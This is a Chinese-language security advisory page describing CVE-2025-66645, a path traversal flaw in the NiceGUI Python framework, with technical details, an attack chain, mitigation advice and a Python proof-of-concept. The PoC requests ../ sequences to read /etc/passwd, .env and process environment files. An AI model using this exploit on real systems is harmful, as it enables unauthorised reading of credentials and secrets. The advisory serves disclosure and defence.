IPBUF安全漏洞报告
English
CVE-2025-66645 CVSS 7.5 高危

CVE-2025-66645 NiceGUI目录遍历漏洞可读取任意文件

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-66645
漏洞类型
目录遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NiceGUI

相关标签

目录遍历路径遍历任意文件读取NiceGUIPythonWeb框架CVE-2025-66645高危漏洞

漏洞概述

NiceGUI是一个基于Python的现代UI框架,用于快速构建Web用户界面。该框架在3.3.1及以下版本中存在严重的目录遍历漏洞,攻击者可以通过构造特殊的URL路径访问服务器上的任意文件。漏洞存在于App.add_media_files()函数中,该函数在处理文件路径时未正确过滤用户输入的路径遍历序列(如../),导致攻击者可以绕过安全限制读取敏感文件。此漏洞无需任何认证即可被利用,影响范围涵盖所有使用受影响版本NiceGUI部署的应用。攻击者可能利用此漏洞读取服务器配置文件、源代码、密钥凭据、环境变量等敏感信息,进而进行进一步的攻击。

技术细节

NiceGUI框架的App.add_media_files()函数存在路径遍历漏洞。漏洞根源在于该函数在处理媒体文件路径时,直接将用户提供的路径参数与基础目录拼接,而未对路径中的../等遍历序列进行充分过滤。攻击者可以通过构造类似/../etc/passwd的URL路径,使服务器返回/etc/passwd文件内容。在HTTP请求中,攻击者使用编码或未编码的../序列绕过简单的字符串过滤,实现目录回溯。漏洞影响所有使用add_media_files()注册媒体路由的NiceGUI应用。由于该函数通常用于提供静态文件服务,攻击面较广。修复方案在3.4.0版本中对该函数进行了路径规范化处理,使用os.path.realpath()或等效方法验证最终路径是否在允许的基础目录范围内。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用使用的NiceGUI框架版本(<=3.3.1)
STEP 2
步骤2
攻击者发现应用使用add_media_files()函数注册了媒体路由
STEP 3
步骤3
攻击者构造包含路径遍历序列(如../)的恶意URL请求
STEP 4
步骤4
服务器未正确过滤遍历序列,返回请求的敏感文件内容
STEP 5
步骤5
攻击者读取/etc/passwd、.env、源代码等敏感文件获取凭据或进一步攻击所需信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-66645 NiceGUI Path Traversal PoC # Target: NiceGUI <= 3.3.1 # Vulnerability: Directory traversal via App.add_media_files() TARGET_URL = "http://target:8080" # Read sensitive files using path traversal files_to_read = [ "/etc/passwd", "/etc/hosts", ".env", "/proc/self/environ" ] def exploit_path_traversal(): for file_path in files_to_read: # Construct path traversal URL # The traversal sequence ../ can be used multiple times traversal = "../" * 6 # Adjust based on mount point encoded_path = traversal + file_path.lstrip("/") # Try different path traversal techniques urls = [ f"{TARGET_URL}/media/{encoded_path}", f"{TARGET_URL}/media/{file_path}", f"{TARGET_URL}/../media/../../{file_path}" ] for url in urls: try: response = requests.get(url, timeout=5) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success: {url}") print(response.text[:500]) print("-" * 50) except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") if __name__ == "__main__": exploit_path_traversal()

影响范围

NiceGUI <= 3.3.1

防御指南

临时缓解措施
如果无法立即升级,可临时禁用或限制add_media_files()功能的使用,配置Web服务器限制对/media路径的访问,对文件路径参数实施严格的白名单验证,确保请求路径不包含../等目录遍历字符。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表